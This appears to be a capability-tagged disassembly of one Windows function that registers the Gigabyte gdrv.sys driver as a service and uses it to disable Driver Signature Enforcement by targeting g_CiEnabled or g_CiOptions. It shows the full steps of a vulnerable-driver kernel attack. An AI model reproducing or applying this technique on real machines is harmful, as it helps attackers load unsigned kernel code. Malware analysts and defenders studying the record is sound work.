Function at 0x140001d60
Capabilities:
Disable driver code integrity
Get system information on windows
Persist via windows service
Set registry value

Disassembly:
sub rsp, 0x478
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x460], rax
call fcn.140001820
test eax, eax
js 0x140002090
mov rax, qword gs:[0x30]
lea rdx, str.nt_g_CiEnabled
mov r8, qword [0x14000ce90]
mov qword [rsp + 0x480], rbx
mov qword [rsp + 0x470], r14
mov r14d, 0x23f0
mov rcx, qword [rax + 0x60]
lea rax, str.CI_g_CiOptions
cmp word [rcx + 0x120], r14w
lea rcx, str._ls_at_0x_p._n
cmovae rdx, rax
call fcn.140001010
xor r8d, r8d
lea r9, [rsp + 0x30]
mov dl, 1
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov ebx, eax
test eax, eax
jns 0x140001e03
lea rcx, str.Fatal_error:_failed_to_acquire_SE_LOAD_DRIVER_PRIVILEGE._Make_sure_you_are_running_as_administrator._n
call fcn.140001010
mov eax, ebx
jmp 0x140002080
mov qword [rsp + 0x488], rbp
lea r8, [rsp + 0x40]
xor ebp, ebp
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov edx, 0x208
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x140002078
mov qword [rsp + 0x490], rsi
lea r8d, [rbp + 8]
xor r9d, r9d
mov qword [rsp + 0x498], rdi
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x38], 8
lea ecx, [rbp + 0x67]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jns 0x140001e74
mov edx, eax
lea rcx, str.Failed_to_query_code_integrity_status:__08X_n
call fcn.140001010
mov eax, dword [rsp + 0x3c]
and al, 3
cmp al, 1
je 0x140001e8a
lea rcx, str.WARNING:_CI_is_already_disabled__n
call fcn.140001010
mov edi, 0x34
lea rsi, [0x14000cea0]
lea r8, str.RegistryMachineSystemCurrentControlSetServices_
mov rcx, rsi
lea rbx, [rsp + 0x40]
lea edx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movzx ecx, word [rsp + 0x40]
lea rdx, [rsp + 0x40]
test cx, cx
je 0x140001f0b
nop dword [rax]
add rdx, 2
cmp cx, 0x5c
mov rax, rdx
cmovne rax, rbx
movzx ecx, word [rdx]
mov rbx, rax
test cx, cx
jne 0x140001ec0
movzx ecx, word [rax]
test cx, cx
je 0x140001f0b
lea rax, [0x14000cf08]
nop dword [rax]
cmp cx, 0x2e
je 0x140001f0b
add rbx, 2
mov word [rax], cx
inc edi
add rax, 2
movzx ecx, word [rbx]
test cx, cx
jne 0x140001ef0
movsxd rax, edi
mov rdx, rsi
xor ecx, ecx
mov word [rsi + rax*2], bp
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
mov rdi, qword [rsp + 0x498]
test eax, eax
js 0x140002070
lea r8, str.___
mov dword [rsp + 0x34], 1
mov edx, 5
lea rcx, [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [rsp + 0x40]
mov edx, 0x87
lea rcx, [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x250]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], bp
lea rax, [rax + 1]
jne 0x140001f80
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x250]
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140002070
lea rax, [rsp + 0x34]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140002070
lea r9, [0x14000ce98]
xor r8d, r8d
call fcn.140001a80
mov ebx, eax
test eax, eax
jns 0x140002016
mov edx, eax
lea rcx, str.Failed_to_disable_DSE_through_Gigabyte_loader_driver:__08X_n
call fcn.140001010
jmp 0x140002057
lea rcx, [0x1400048b0]
call fcn.140001010
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], r14w
jb 0x14000204b
mov edx, dword [0x14000ce98]
lea rcx, str._Original_g_CiOptions_value:_0x_X.
call fcn.140001010
lea rcx, [0x1400048e4]
call fcn.140001010
movzx edx, byte [rsp + 0x30]
lea r9, [rsp + 0x30]
xor r8d, r8d
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov eax, ebx
mov rsi, qword [rsp + 0x490]
mov rbp, qword [rsp + 0x488]
mov rbx, qword [rsp + 0x480]
mov r14, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140002390
add rsp, 0x478
ret